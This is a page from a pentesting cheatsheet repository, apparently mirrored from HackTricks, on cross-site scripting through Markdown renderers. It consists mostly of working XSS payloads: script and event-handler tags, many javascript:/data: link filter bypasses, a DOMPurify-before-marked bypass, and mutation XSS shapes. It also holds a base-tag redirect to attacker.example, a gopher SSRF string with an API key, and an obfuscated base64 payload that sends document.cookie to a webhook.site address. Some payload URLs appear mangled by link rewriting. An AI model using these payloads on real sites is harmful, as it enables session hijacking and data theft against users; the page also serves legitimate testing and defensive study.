daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

xss-in-markdown.md (13942B)


      1 ---
      2 title: "XSS in Markdown"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # XSS in Markdown
     14 
     15 If attacker-controlled Markdown is rendered as HTML, test whether the parser and sanitizer combination allows XSS. Behavior varies by implementation and configuration; CommonMark permits raw HTML unless the application disables or sanitizes it.<sup>[[2]](#references)</sup>
     16 
     17 ### HTML tags
     18 
     19 The most direct case is raw HTML accepted by the Markdown parser and passed to the browser without appropriate sanitization.<sup>[[2]](#references)</sup><sup>[[3]](#references)</sup>
     20 
     21 ```html
     22 <!-- XSS with regular tags -->
     23 <script>
     24   alert(1)
     25 </script>
     26 <img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/x" onerror="alert(1)" />
     27 ```
     28 
     29 You can find more examples in the [main XSS page of hacktricks](/hacktricks/pentesting-web/xss-cross-site-scripting/overview).
     30 
     31 ### Javascript links
     32 
     33 If raw HTML is blocked, test how the renderer validates link destinations and dangerous URL schemes:<sup>[[3]](#references)</sup>
     34 
     35 ```html
     36 <!-- markdow link to XSS, this usually always work but it requires interaction -->
     37 [a](javascript:prompt(document.cookie))
     38 
     39 <!-- Other links attacks with some bypasses -->
     40 [Basic](javascript:alert('Basic')) [Local
     41 Storage](javascript:alert(JSON.stringify(localStorage)))
     42 [CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
     43 [URL](javascript://www.google.com%0Aalert('URL')) [In
     44 Quotes]('javascript:alert("InQuotes")') [a](j a v a s c r i p
     45 t:prompt(document.cookie))
     46 [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
     47 [a](javascript:window.onerror=alert;throw%201)
     48 ```
     49 
     50 ### Img event syntax abuse
     51 
     52 ```markdown
     53 ![Uh oh...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/%22onerror%3D%22alert%28%27XSS%27%29)
     54 ![Uh oh...](<https://www.example.com/image.png"onload="alert('XSS')>)
     55 ![Escape SRC - onload](<https://www.example.com/image.png"onload="alert('ImageOnLoad')>)
     56 ![Escape SRC - onerror](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/%22onerror%3D%22alert%28%27ImageOnError%27%29)
     57 ```
     58 
     59 ### HTML Sanitiser Markdown Bypass
     60 
     61 The following code **sanitises the attacker-controlled Markdown source before parsing it**. This order is unsafe: the Markdown parser runs after the security boundary and can create executable HTML that DOMPurify never inspected.<sup>[[1]](#references)</sup>
     62 
     63 ```html
     64 <!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
     65 <script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
     66 <script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
     67 <script>
     68   const qs = new URLSearchParams(location.search)
     69   if (qs.get("content")?.length > 0) {
     70     document.body.innerHTML = marked.parse(
     71       DOMPurify.sanitize(qs.get("content"))
     72     )
     73   }
     74 </script>
     75 ```
     76 
     77 Payload examples:<sup>[[1]](#references)</sup>
     78 
     79 ```html
     80 <div
     81   id="1
     82 
     83 ![](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/contenteditable/autofocus/onfocus%3Dconfirm%28%27qwq%27)//index.html)">
     84   -----------------------------------------------
     85   <a
     86     title="a
     87 
     88 <img src=x onerror=alert(1)>"
     89     >yep</a
     90   >
     91   ------------------------------------------------ [x](y '<style>
     92     ')<!--
     93   </style>
     94   <div id="x--><img src=1 onerror=alert(1)>"></div>
     95   ---------------------------------------------- [
     96   <p
     97     x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#"></p>
     98   ) ---------------------------------------------- `
     99   <p x="`<img src=x onerror=alert(1)>"></p>
    100 </div>
    101 ```
    102 
    103 ### Test the final DOM: mutation XSS
    104 
    105 Treat Markdown rendering as a chain of interpreters: **Markdown/extensions → HTML → sanitizer → serialization → browser sink**. Capture every intermediate representation and inspect the live DOM after insertion. A sanitizer can approve one tree, while browser error recovery creates a different tree after serialization and reparsing (mXSS). High-value probes mix malformed markup with HTML/SVG/MathML namespace transitions, raw-text elements, and very deep nesting; checking the sanitized string for `onerror` is not enough.<sup>[[4]](#references)</sup>
    106 
    107 ```html
    108 <svg></p><style><a id="</style><img src=x onerror=alert(1)>"></svg>
    109 <math><mtext><table><mglyph><style><img src=x onerror=alert(1)>
    110 ```
    111 
    112 Use these as **pipeline regression shapes**, not universal payloads: the result depends on the Markdown engine, enabled extensions, sanitizer version/configuration, DOM implementation, and final sink. In a real browser, compare `renderer(markdown)`, `sanitizer(renderedHTML)`, and `sink.innerHTML`; then enumerate element namespaces, event-handler attributes, and resolved `href`/`src` properties in the final DOM.<sup>[[4]](#references)</sup>
    113 
    114 ### Base-URL rewriting
    115 
    116 A filter can reject event handlers and dangerous URL schemes yet still allow document-wide metadata. If raw HTML survives, test whether an injected `<base>` changes how later relative resources are resolved. A 2025 Nuxt MDC issue demonstrated this parser-policy gap: validation covered ordinary `href`/`src` properties but failed to reject the `base` element, allowing a relative script URL to be redirected to an attacker origin.<sup>[[5]](#references)</sup>
    117 
    118 ```html
    119 <base href="https://attacker.example/">
    120 <script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//xss.js"></script>
    121 ```
    122 
    123 The chain requires a subsequent relative resource that the renderer allows and CSP does not block. Also watch browser traffic after rendering: lazy-loaded scripts, styles, and images may resolve only after the Markdown has already altered the document base URL.<sup>[[5]](#references)</sup>
    124 
    125 ### Gopher
    126 
    127 Some server-side Markdown renderers fetch linked resources. If a renderer supports `gopher://`, this can become an SSRF primitive capable of sending crafted bytes to internal services; browser-only Markdown rendering does not provide this behavior.
    128 
    129 ```text
    130 ![pwn](gopher://127.0.0.1:1337/_GET%20/api/dev%20HTTP/1.1%0D%0AHost:%20127.0.0.1:1337%0D%0Ax-api-key:%20934caf984a4ca94817ead87d37af4b3%0D%0AConnection:%20close%0D%0A%0D%0A)
    131 ```
    132 
    133 ### Fuzzing
    134 
    135 ```html
    136 <!--
    137 Fuzzing examples from
    138 - [https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt](https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt)
    139 - [https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields](https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields)
    140 -->
    141 
    142 [a](javascript:prompt(document.cookie))
    143 [a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
    144 ![a](javascript:prompt(document.cookie))\
    145 <javascript:prompt(document.cookie)>
    146 <javascript:alert('XSS')>
    147   ![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
    148 [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
    149 [a](javascript:alert('XSS'))
    150 ![a'"`onerror=prompt(document.cookie)](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/x)\
    151 [citelol]: (javascript:prompt(document.cookie))
    152 [notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
    153 [test](javascript://%0d%0aprompt(1))
    154 [test](javascript://%0d%0aprompt(1);com)
    155 [notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
    156 [notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
    157 [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
    158 [clickme](vbscript:alert(document.domain))
    159 _http://danlec_@.1 style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
    160 <http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>>
    161 [text](http://danlec.com " [@danlec](/danlec) ")
    162 [a](javascript:this;alert(1))
    163 [a](javascript:this;alert(1&#41;)
    164 [a](javascript&#58this;alert(1&#41;)
    165 [a](Javas&#99;ript:alert(1&#41;)
    166 [a](Javas%26%2399;ript:alert(1&#41;)
    167 [a](javascript:alert&#65534;(1&#41;)
    168 [a](javascript:confirm(1)
    169 [a](javascript://www.google.com%0Aprompt(1))
    170 [a](javascript://%0d%0aconfirm(1);com)
    171 [a](javascript:window.onerror=confirm;throw%201)
    172 [a](javascript:alert(document.domain&#41;)
    173 [a](javascript://www.google.com%0Aalert(1))
    174 [a]('javascript:alert("1")')
    175 [a](JaVaScRiPt:alert(1))
    176 ![a](https://www.google.com/image.png"onload="alert(1))
    177 ![a](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/%22onerror%3D%22alert%281))
    178 </http://<?php\><\h1\><script:script>confirm(2)
    179 [XSS](.alert(1);)
    180 [ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
    181 [ ](http://a?p=[[/onclick=alert(0) .]])
    182 [a](javascript:new%20Function`al\ert\`1\``;)
    183 [XSS](javascript:prompt(document.cookie))
    184 [XSS](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
    185 [XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
    186 [XSS](javascript:alert('XSS'))
    187 [XSS]: (javascript:prompt(document.cookie))
    188 [XSS](javascript:window.onerror=alert;throw%20document.cookie)
    189 [XSS](javascript://%0d%0aprompt(1))
    190 [XSS](javascript://%0d%0aprompt(1);com)
    191 [XSS](javascript:window.onerror=alert;throw%20document.cookie)
    192 [XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
    193 [XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
    194 [XSS](vbscript:alert(document.domain))
    195 [XSS](javascript:this;alert(1))
    196 [XSS](javascript:this;alert(1&#41;)
    197 [XSS](javascript&#58this;alert(1&#41;)
    198 [XSS](Javas&#99;ript:alert(1&#41;)
    199 [XSS](Javas%26%2399;ript:alert(1&#41;)
    200 [XSS](javascript:alert&#65534;(1&#41;)
    201 [XSS](javascript:confirm(1)
    202 [XSS](javascript://www.google.com%0Aprompt(1))
    203 [XSS](javascript://%0d%0aconfirm(1);com)
    204 [XSS](javascript:window.onerror=confirm;throw%201)
    205 [XSS](�javascript:alert(document.domain&#41;)
    206 ![XSS](javascript:prompt(document.cookie))\
    207 ![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
    208 ![XSS'"`onerror=prompt(document.cookie)](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xss-cross-site-scripting/x)\
    209 ```
    210 
    211 
    212 ## References
    213 
    214 - [1] [Clique Writeup - ångstromCTF 2022](https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e)
    215 - [2] [CommonMark specification – Raw HTML](https://spec.commonmark.org/0.31.2/#raw-html)
    216 - [3] [OWASP – Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
    217 - [4] [DOMPurify – Attack Classes & Bypass History](https://github.com/cure53/DOMPurify/wiki/Attack-Classes-&-Bypass-History)
    218 - [5] [Nuxt MDC – XSS in markdown rendering bypassing HTML filter](https://github.com/nuxt-content/mdc/security/advisories/GHSA-cj6r-rrr9-fg82)